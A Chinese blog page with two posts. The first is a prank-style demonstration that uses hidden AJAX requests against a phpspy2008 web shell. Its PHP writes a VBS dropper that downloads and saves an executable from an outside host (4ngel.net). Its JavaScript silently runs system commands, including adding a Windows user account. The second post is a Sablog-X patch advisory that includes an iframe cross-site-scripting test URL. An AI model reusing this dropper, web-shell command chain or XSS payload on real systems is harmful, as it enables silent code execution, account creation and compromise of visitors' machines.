浏览模式: 标准 | 列表 Tag: 安全

AJAX在安全方面的应用

本来想给小黑群里的人开个玩笑。谁知道经过小黑的csrf实例后,大家都先看代码了。这下我明白了。小黑用过的招数都不能再用了。再用就不灵了。因为小黑太黑,让人印象深刻。

还是记录一下吧,ajax真的是隐秘性很高。我是这样来利用的。比较彻底。

PHP代码
  1. elseif ($doing == 'writevbs') {   
  2.     $fp = @fopen('c:/angel.vbs','w');   
  3.     $vbs = "Set love = CreateObject(\"Microsoft.XMLHTTP\")\n".   
  4.         "love.Open \"GET\",\"http://www.4ngel.net/1.exe\",0\n".   
  5.         "love.Send()\n".   
  6.         "Set you = CreateObject(\"ADODB.Stream\")\n".   
  7.         "you.Mode = 3\n".   
  8.         "you.Type = 1\n".   
  9.         "you.Open()\n".   
  10.         "you.Write(love.responseBody)\n".   
  11.         "you.SaveToFile \"c:\\1.exe\",2";   
  12.     @fwrite($fp,$vbs);   
  13.     @fclose($fp);   
  14. }  

加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe,然后有一段是AJAX的功能代码。

JavaScript代码
  1. <script type="text/javascript">   
  2. var http_request = false;   
  3. function makeRequest(url, httpType, sendData) {   
  4.     http_request = false;   
  5.     if (!httpType) httpType = "GET";   
  6.   
  7.     if (window.XMLHttpRequest) { // Non-IE...   
  8.         http_request = new XMLHttpRequest();   
  9.         if (http_request.overrideMimeType) {   
  10.             http_request.overrideMimeType('text/plain');   
  11.         }   
  12.     } else if (window.ActiveXObject) { // IE   
  13.         try {   
  14.             http_request = new ActiveXObject("Msxml2.XMLHTTP");   
  15.         } catch (e) {   
  16.             try {   
  17.                 http_request = new ActiveXObject("Microsoft.XMLHTTP");   
  18.             } catch (e) {}   
  19.         }   
  20.     }   
  21.   
  22.     if (!http_request) {   
  23.         alert('Cannot send an XMLHTTP request');   
  24.         return false;   
  25.     }   
  26.   
  27.     http_request.open(httpType, url, true);   
  28.     http_request.setRequestHeader('Content-Type''application/x-www-form-urlencoded');   
  29.     http_request.send(sendData);   
  30. }   
  31. //makeRequest('<?=$self?>', 'POST', 'action=file&doing=writevbs');   
  32. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\angel.vbs');   
  33. //makeRequest('<?=$self?>', 'POST', 'action=shell&execfunc=system&command=c:\1.exe');   
  34. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=net user angel angel /add');   
  35. makeRequest('<?=$self?>''POST''action=shell&execfunc=system&command=echo my_name_is_angel > c:\\angel.txt');   
  36. </script>  

最后几句是以POST方式请求本地测试环境中的phpspy2008,调用命令执行功能,生成vbs,然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。

我只是想说。AJAX作为一个现在逐渐受到重视的技术,在强调增加用户体验的同时,带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。

Tags: ajax, 安全

Sablog-X安全补丁 20070504 并发布20070...

首先感谢MasKEdMaN(http://maskedman.cn)的细心。发现这个BUG。本着对用户负责的态度。公开这个漏洞。

受影响的版本:sablog-x 1.5 20070504之前的所有版本
危险等级:中,局部影响
测试方法:http://www.sablog.net/blog/?action=show&id=238"><iframe%20src=http://www.sablog.net%20width=100%20height=100></iframe
漏洞描述:由于模板文件show.php(1.5版本之前的是show.htm)有两处地方变量使用错误。导致存在跨站漏洞。
解决方法:1.5的程序包已经更新,版本是20070504。修正这个漏洞的同时,并修复以下BUG。

20070501版本出现的问题:
1、时间在某些主机上还是显示不正常(比如4月30号的文章显示到5月1日)——已解决
2、浏览切换的BUG([url]http://www.sablog.net/bbs/viewthread.php?tid=905[/url])——已解决
3、某些主机上附件上传失败——已解决并加入一个目录权限检查修正工具
4、某些主机不支持rewrite产生的BUG——已解决、加入是否支持rewrite的检查,如果不支持既使后台打开也不启用
5、美国主机日历连接和显示有错误的BUG——已解决
6、更新归档缓存把隐藏的文章计算进去的BUG——已解决
7、单篇文章显示评论数如果设置为0就不显示评论的BUG——已解决,设置为0应该是显示全部评论不分页才对

请大家下载程序包,上传所有的模板文件、PHP文件。
下载地址: 电信 网通

1.5 20070504之前的版本修补此漏洞的手工方法

打开模板文件show.(htm/php)

搜索

<a href="./?action=show&id=$id&goto=previous">上一篇

修改为

<a href="./?action=show&id=$article[articleid]&goto=previous">上一篇

搜索

<a href="./?action=show&id=$id&goto=next">下一篇

修改为

<a href="./?action=show&id=$article[articleid]&goto=next">下一篇

即可

Tags: sablog-x, 安全, 补丁, 更新